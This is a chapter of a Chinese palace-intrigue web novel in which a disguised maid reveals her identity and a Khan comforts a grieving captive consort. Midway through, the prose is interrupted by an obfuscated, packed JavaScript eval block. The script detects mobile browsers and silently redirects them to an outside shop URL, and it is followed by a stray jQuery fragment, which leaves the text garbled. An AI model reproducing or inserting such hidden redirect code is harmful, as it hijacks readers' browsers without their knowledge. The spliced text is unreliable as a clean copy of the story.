星纹笑着道:“这就是我的真面目。”
朝容自是不信,仔细检查了一遍,又拿出帕子搓了搓,星纹疼得直吸气,泪眼汪汪道:“轻点,这真是我的脸,搓破了我可不饶你。”
“那你究竟是什么人?阿修呢?”朝容这下更困惑了,她曾问过李淑年,星纹的确是与她们一起到盛宁的,好像是个没落宗室庶女,身份记录在册。
若真有其人,那阿修又是怎么回事?
“我是阿修也是星纹,三年前潜进云桑帝都,城破之后未得命令不能随意回去,便跟其他宗室女一起逃亡,后来收到殿下的密令,开始暗中找你!后来两国议和,我也不用找了,你们云桑自愿送人。殿下命我保护好你,我只得找了个替身呆在囚车,然后易容成婢女的样子贴身侍候。”
她犹豫了一下,继续道:“那晚在驿馆,我和殿下一起来的,哪知道竟碰上那么恶心的事,殿下去找你,我趁乱把替身换走了。”
朝容沉默半晌,从容一笑道:“这么说来,你是无论如何都不会泄我的底了?”
星纹笑道:“那还用说?我这个人最重情义……”
“打住,你是因为自身难保。咱们现在是一根绳上的蚂蚱,要是让慕容归知道你把人搞丢了,带回来一个假的,你一定比我更惨吧?”朝容压低声音,瞪着她道。
星纹撇了撇嘴道:“这还用你说?对了,你把真正的公主搞哪里去了?”
朝容有些失落道:“这个你不用管,只需要记住我就是朝华,从来都是。”
星纹抿了抿嘴,神色凝重道:“我明白。”
“有件事我不明白,按理说你该功成身退,为何还要潜入燕国的王宫?”朝容不解道。
“当然是为了随时听候公主殿下的吩咐呀!”星纹笑道。
朝容不信,她凑过来悄声道:“我告诉你一个秘密,我已经打听到俞贵妃的下落,她就在宫里。”
朝容震惊道:“准不准?”
星纹摇头道:“不太确定,以前在云桑,也就远远见过一两回,并没有很深的印象。”
她左右瞅了瞅,见路上没人,这才压低声音道:“我听宫里的人说可汗金屋藏娇,有位美人深得宠爱,他每天下朝都会去西宫看她。但是没人知道美人的身份,就连可敦都不知道。我寻思着,应该是贵妃娘娘。她虽是俘虏,但她可是辽国人,就算看在两国邦交的份上,他们也不敢像对待其他娘娘那般轻贱吧?”
朝容若有所思,但此刻她对星纹的身份依旧存疑,也不敢轻信,只嘱咐道:“那你多加留意吧,小心一点。”
“知道了,我先下去了啊!”星纹点了点头,朝她行了个礼,匆匆退下了。
朝容继续往回走,还没走到亭子前就看到慕容归过来了。
“可汗都问你什么了?”她好奇的询问道。
“当然是此番怎么找到你的呀!”慕容归道:“我有些不明白,他为何会对你的事如此上心?”
朝容耳畔响起星纹的话,如果真如她所言,俞贵妃来到盛宁后成了慕容翟的宠妃,那这件事便也说的过去了。
原来在盛宁,朝华早有贵人,根本轮不到她担心。
她猛转过身去,花木、小路、长廊都是静悄悄的,一个人影也没有,但她却感觉似乎有人暗中在偷窥。
“怎么了?”慕容归见她神色不对劲,忙问道。
朝容摇了摇头道:“可能是这几天鞍马劳顿,有些恍惚。”
“那就快点出宫,回去好好休息!”慕容归说着往前走去。
朝容有些心不在焉,又回头望了几眼,这才跟着他走了。
**
他们的身影消失后,一个披着绛色狐皮斗篷,梳着飞天髻,面容秀美绝伦的女子莲步款款,从长廊后的暗影里走了出来。
“娘娘,外面冷,您还是回去吧!”身后跟着两名宫女,小心翼翼地劝阻。
“离得太远了,我没有看清楚。”那女子神色凄楚,面有病色,摇了摇头缓缓道。
只听得一阵脚步声起,就见慕容翟带了一名侍从龙行虎步,急急走了过来。
两名宫女忙上前屈膝行礼:“奴婢见过可汗。”
慕容翟身后的侍从也忙低首行礼,恭恭敬敬道:“给娘娘请安!”
那女子一见慕容翟,面色顿时一冷,转身便往回走去。
“哎,等等!”慕容翟忙追了上去。
两名宫女和侍从似乎已经见惯了这样的阵仗,不敢上前惊扰,都是落后两丈不急不缓的跟着。
“美人,怎么又生气了?这不是见到了吗?”慕容翟一叠声的哄着,追上去要拉那女子的手。
“别动我,”那女子尖声道,眉梢眼角俱是薄怒,一边往前走一边道:“堂堂一国之君,却只会欺骗我这样的弱女子,传出去都不怕人笑话。”
“唉,孤哪里会骗你?这不人都找回来了吗?孤也没有为难半分,你还有什么不满意?”慕容翟唉声叹气道。
“哼,”那女子冷冷道:“亏你说的出这样的话,末了竟似带上了哭腔,抬袖拭了拭眼角,哽咽着道:“一个如花似玉的姑娘,怎么脸上弄成那样了?”
她顿住脚步,回身指着慕容道:“你说,是不是有人欺负她?”
慕容翟慌忙解释道:“没有的事,那是才来盛宁的时候,在驿馆里住着,晚上房间里失火了,看管的奴才们没来得及营救……哎呀,美人别哭,快别哭!”
那女子一激动,眼中的泪水便滚滚而下,梨花带雨的模样看得人很是心疼。
慕容翟忙抬手拥住她,一边哄着一边轻抚后背,柔声道:“孤已将有关人等全都处置了,虽然公主的脸容毁了确实可惜,但如今你难过也无济于事呀!这么久都不敢告诉你,就是怕你哭坏了身子呀!”
“你放开我,”那女子扭着身子挣扎,转过去边抹泪边往前走,“你好好做你的一国之主,我做我的贱奴,想把我赏给谁就赏给谁……”
慕容翟醋意大发,气的吹胡子瞪眼,追上来道:“你这说的什么糊涂话?常言道一日夫妻百日恩,怎能说断就断?孤要给你封赏和名分,你非闹着不要,孤也实在没有办法呀!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14313875|152359||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你也知道一日夫妻百日恩?”那女子站住了脚,咬着朱唇道:“那我和陛下快二十年的夫妻,这情分就不深?是你,你灭我国家,杀我子民,毁我社稷,辱我姐妹,我恨你,我恨死你了……”
“好了,好了,这些事快别提了。”慕容翟忙捂住了她的嘴巴,语重心长道:“你在孤面前怎么说都行,但是在外面还是要谨言慎行。给旁人听了去,麻烦可就大了。孤纵然是一国之主,可也不能只手遮天。再说了,你是辽国人呀,别再惦记云桑了,那些事跟你没关系。”
“唔唔……”那女子使劲挣扎着,憋得俏脸晕红,慕容翟实在不忍心,这才将手移开。
她紧紧抓着他的手臂,怒恨交加道:“什么叫没关系?从我嫁入云桑那一天起,就没有了故国。”
说到这里,目中氤氲出了伤心之色,楚楚可怜道:“辽国出卖了我,俞家出卖了我,这些年来我如履薄冰,凭一己之力在云桑宫廷立稳了脚跟,你知道有多难吗?我的女儿是陛下的掌上明珠,他悄悄跟我说,以后要把朝华培养成云桑的皇太女。”
说到这里,神情忽然变得无限凄哀,眼眶一红,顿时珠泪盈盈,几乎要咬碎银牙:“可是陛下他骗我,他竟然骗我,他把我的孩子给弄丢了,他南巡带走了朝华,没有把她给我带回来。两年多了,我的孩子生死未卜,如今……如今她就在我的眼前,可我却不能去相认……”
她忽然抱住慕容翟的手臂失声痛哭,额角淡青色的筋络都隐隐绽出,“我好恨,我恨你们,恨你们所有人,为什么我还活着?我这副见不得人的样子,活着又有什么意思?”
“小心肝,快别哭了,你身子弱,哪里经得起这般伤神?就让公主先跟着国相吧,以后等孤找到机会,给她除去贱籍,再找一门好亲事,就在你的眼皮底下和和美美过日子,好不好?”慕容翟看得心都快碎了,连忙搂住好生安慰。
那女子依旧哭的上气不接下气,他只得一叠声哄着。
见她终于缓过气了,慕容翟这才放下心来,忍不住唠叨道:“朝华公主是你的女儿,你应该一早就告诉孤,这样孤也好……”
“也好什么?也好早点把她抓来,跟其他公主们一样,侍候你的兄弟子侄?我倒宁可永远找不到,也不想让她和我一样沦为贱奴,供你们这些禽兽玩弄。”那女子抬起头,瞪着一双水雾迷蒙的妙目道。
“瞧瞧,怎么又来了?跟个小孩子一样。”慕容翟不仅不生气,反倒爱的紧,笑道:“咱俩待在一起,孤大半都是在哄你。明明水一样的美人,偏偏脾气像火一样,说来就来。”
许是有点冷,她瑟缩了一下紧了紧身上的斗篷,依旧抽抽搭搭的。
慕容忙揽住她紧了紧,安慰道:“只要有孤在,别说是盛宁城,就是整个大燕国,往后也没有人再敢欺负你的宝贝女儿,你呀,什么时候想见她了,孤就把她召进宫……”
“不,”那女子慌忙摇头,娇嗔道:“我心乱如麻,尚不知如何应付,千万莫要让她知道我的消息。”
“好,你说不见那就不见吧!”慕容翟笑吟吟道。